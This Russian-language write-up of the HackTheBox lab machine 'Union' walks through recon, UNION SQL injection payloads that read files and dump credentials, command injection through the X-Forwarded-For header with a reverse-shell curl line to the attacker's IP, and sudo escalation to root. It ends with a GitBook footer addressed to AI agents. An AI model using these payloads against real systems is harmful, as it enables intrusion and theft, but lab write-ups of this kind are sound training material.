> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md).

# Разбор Union на HackTheBox

{% embed url="<https://app.hackthebox.com/machines/Union>" %}

{% hint style="warning" %}
**Навыки:**

* SQLI (SQL-инъекция) - инъекция UNION
* SQLI - Чтение файлов
* Инъекция команд в HTTP-заголовок - X-FORWARDED-FOR (RCE)
* Злоупотреба привилегией sudoers (повышение привилегий)
  {% endhint %}

## Разведка

**Настройка рабочей среды:**

Настройте рабочую среду, создав три папки для хранения важного содержимого, эксплойтов и результатов разведки Nmap.

<figure><img src="/files/240fd5b6c34685678deccf2f3fb3094b641a08b3" alt="" width="563"><figcaption></figcaption></figure>

**Проверка подключения VPN**

Проверьте подключение к VPN, чтобы обеспечить стабильную связь с целевой машиной.

<figure><img src="/files/9c92991fbbea6d16aed452e2c470ce4386acc2da" alt="" width="563"><figcaption></figcaption></figure>

**Обнаружение открытых портов с помощью Nmap:**

Перечислите открытые порты и экспортируйте результаты в файл "allPorts" в каталоге Nmap:

```bash
nmap -p- --open -sS -n -Pn -vvv --min-rate 5000 10.10.11.128 -oG allPorts
```

<figure><img src="/files/f27b952fc7e83c076a3d5ec3fb02f73a0b2176c8" alt=""><figcaption></figcaption></figure>

**Анализ открытых портов с помощью extractPorts:**

Используя функцию extractPorts, чтобы в кратком формате отобразить открытые порты и скопировать их в буфер обмена (80)

```bash
nmap -sCV -p80 10.10.11.128 -oN targeted
```

<figure><img src="/files/a43afb7c9f58aba1ed876755c66f650dd033a132" alt=""><figcaption></figcaption></figure>

### Порт 80 - HTTP

<figure><img src="/files/cc3e10010c63dbdd80c7b26586891ad903cbfe9f" alt=""><figcaption></figcaption></figure>

### Список файлов

с gobusteron будет выполнено перечисление файлов с расширениями php

```bash
gobuster dir -u http://10.10.11.128 -w /usr/share/SecLists/Discovery/Web-Content/directory-list-2.3-medium.txt -t 200 -x php,txt
```

Есть два файла, которые недоступны извне: `config.php` и `firewall.php`.

<figure><img src="/files/4ac133f48d8879c92ba2766a10f598064049e5d5" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/1703c3fb519d239b9f4f834bebac60d91ac956d4" alt=""><figcaption></figcaption></figure>

В `index.php`, если мы добавим имя в форму, оно появится в ответе.

<figure><img src="/files/59f963c7d2a90ed57d51edef2b3f797293e114d3" alt=""><figcaption></figcaption></figure>

файл задания просит у нас флаг

<figure><img src="/files/e6cf55178aafa0a7ed93960e241630e037fbf22b" alt=""><figcaption></figcaption></figure>

## Уязвимость SQLI - инъекция UNION

Мы перехватываем запрос с помощью Burp Suite и изменяем переменную `player`:

<figure><img src="/files/9cb9819728ad4d759958e31cfcf1d83876232fbc" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select database()-- -
```

Имя базы данных `november`.

<figure><img src="/files/380b90c05eba20bba528d6fc4d376d3c12beda6a" alt=""><figcaption></figcaption></figure>

Чтобы вывести список всех баз данных:

```sql
jordan' union select group_concat(schema_name) from information_schema.schemata-- -
```

Результат: `mysql,information_schema,performance_schema,sys, november`

<figure><img src="/files/03fa6c14522fec2662245cd9c41105b5c135c1aa" alt=""><figcaption></figcaption></figure>

Выведите список таблиц в `november`:

```sql
jordan' union select group_concat(table_name) from information_schema.tables where table_schema='november'-- -
```

<figure><img src="/files/f1f11cdefc1c4f15533c1f845601634f196e297f" alt=""><figcaption></figcaption></figure>

Выведите список столбцов в `players` таблице:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='players' -- -
```

Найдены столбцы: `player`

<figure><img src="/files/1c16dca7a54b9c362a2f89b0768451d6743609cd" alt=""><figcaption></figcaption></figure>

**Извлечение пользовательских данных**

```sql
jordan' union select group_concat(player,':') from players-- -
```

Найдены игроки: `ippsec,celesian,big0us,luska,tinyboy`

<figure><img src="/files/b147a9afcbe93928e34106deb4c943480fc17c04" alt=""><figcaption></figcaption></figure>

Извлечение флага:

```sql
jordan' union select group_concat(column_name) from information_schema.columns where table_schema='november' and table_name='flag' -- -
```

<figure><img src="/files/7856ca6be7298f91c75e70873e03c55aa1023124" alt=""><figcaption></figcaption></figure>

```sql
jordan' union select group_concat(one,':') from flag-- -
```

<figure><img src="/files/eb928994819210f7313d24797a17fbd5ba34c20d" alt=""><figcaption></figcaption></figure>

* Флаг найден: `UHC{F1rst_5tep_2_Qualify}`

## **SQLI - Чтение файлов**

Чтение `/etc/passwd`:

```sql
jordan' union select load_file('/etc/passwd');-- -
```

Мы находим `uhc` пользователя.

<figure><img src="/files/b5455acc6b03fc4517672e897f001d4afcb97fd9" alt=""><figcaption></figcaption></figure>

### Флаг user.txt

Чтение `user.txt`:

```sql
jordan' union select load_file('/home/uhc/user.txt');-- -
```

<figure><img src="/files/657c9a276867a8fa90df446e4bb97b4bbf38b1a6" alt=""><figcaption></figcaption></figure>

Чтение `config.php`, мы находим учетные данные базы данных:

<figure><img src="/files/d603cda7acd5e80d9c4c61df8aa5461141032b5b" alt=""><figcaption></figcaption></figure>

<pre class="language-sql"><code class="lang-sql">$servername = "127.0.0.1";
$username = "uhc";
$password = "uhc-11qual-global-pw";
<strong>$dbname = "november"
</strong></code></pre>

Чтение `firewall.php`, мы понимаем, что отправка флага открывает SSH-порт:

```sql

jordan' union select load_file('/var/www/html/firewall.php');-- -
```

<figure><img src="/files/4ebbe6ce4b1ae05686039e0f1259bddb8a975fe4" alt=""><figcaption></figcaption></figure>

Мы отправляем флаг: `UHC{F1rst_5tep_2_Qualify}`.

<figure><img src="/files/3140938967ba1c949ab2ba7fff1988db24dab197" alt=""><figcaption></figcaption></figure>

Порт 22 теперь открыт.<br>

<figure><img src="/files/2fee421dfd29af67572bac8b9fd9aa0caad93098" alt=""><figcaption></figcaption></figure>

### Подключение по SSH

Мы используем найденные учетные данные для входа:

```bash
ssh uhc@10.10.11.128

uhc-11qual-global-pw
```

<figure><img src="/files/bf880a0e0d2e7600c8013f906da7f590e8390ef5" alt=""><figcaption></figcaption></figure>

## **Повышение привилегий**

### Инъекция команд в HTTP-заголовок - X-FORWARDED-FOR (RCE)

Если посмотреть на `firewall.php` файл, можно заметить, что он получает `HTTP_X_FORWARDED_FOR` заголовок и использует его с `sudo` для выполнения команды:

```php
  if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {
    $ip = $_SERVER['HTTP_X_FORWARDED_FOR'];
  } else {
    $ip = $_SERVER['REMOTE_ADDR'];
  };
  system("sudo /usr/sbin/iptables -A INPUT -s " . $ip . " -j ACCEPT");
?>
```

<figure><img src="/files/10f40d54522984fdadd62a1c44c8112192847100" alt=""><figcaption></figcaption></figure>

Поскольку этой переменной можно управлять через HTTP-запрос, мы можем внедрить произвольную команду.

**Эксплуатация**

Поскольку это HTTP-заголовок, мы можем внедрить команду, например используя `curl` чтобы обратиться к нашему веб-серверу.

**Настройка веб-сервера:**

```bash
python3 -m http.server 80
```

**Проверка инъекции с помощью `curl`:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;curl http://10.10.14.47/test;' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

<figure><img src="/files/4a710cf926d727893f737a56e998947fd874511d" alt=""><figcaption></figcaption></figure>

**Обратная оболочка**

**Слушаем порт 443:**

```bash
nc -nlvp 443
```

**Команда для получения удалённой оболочки:**

{% code overflow="wrap" %}

```bash
curl -X GET -H 'X-FORWARDED-FOR: ;bash -c "bash -i >&/dev/tcp/10.10.14.47/443 0>&1";' --cookie "PHPSESSID=nc6hmrro5f449k38k2l6u4vcd3" 'http://10.10.11.128/firewall.php'
```

{% endcode %}

После подключения мы — пользователь `www-data`.

<figure><img src="/files/9cb4547b2d9facf2c30982810fdf78ecf2324414" alt=""><figcaption></figcaption></figure>

#### Стабилизация терминала

```bash
script /dev/null -c bash
# Ctrl+Z

stty raw -echo; fg
reset xterm
export TERM=xterm
export SHELL=bash
stty rows 44 columns 184
```

### SUDO - (ALL:ALL)

С помощью следующей команды мы проверяем `sudo` права:

```bash
sudo -l 
```

<figure><img src="/files/b64598f24bb0b1f0c5fbb12f80fd642e6fdd0de6" alt=""><figcaption></figcaption></figure>

Если мы видим, что `www-data` может выполнять любую команду от имени любого пользователя (`(ALL: ALL) ALL`), то мы можем запустить root-оболочку с помощью:

```bash
sudo /bin/bash -p
```

<figure><img src="/files/f61e488389ebfe66d7d50eb809a51a20c69c44cf" alt=""><figcaption></figcaption></figure>

### Флаг root.txt :)

<figure><img src="/files/c19b327bc74f0e853ae6c3e23469247da6631b07" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/f135db1e2dac96d298bb797814d57cb466062865" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/ru/writeups-ctf/hackthebox/linux-medium/union-hackthebox-writeup.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
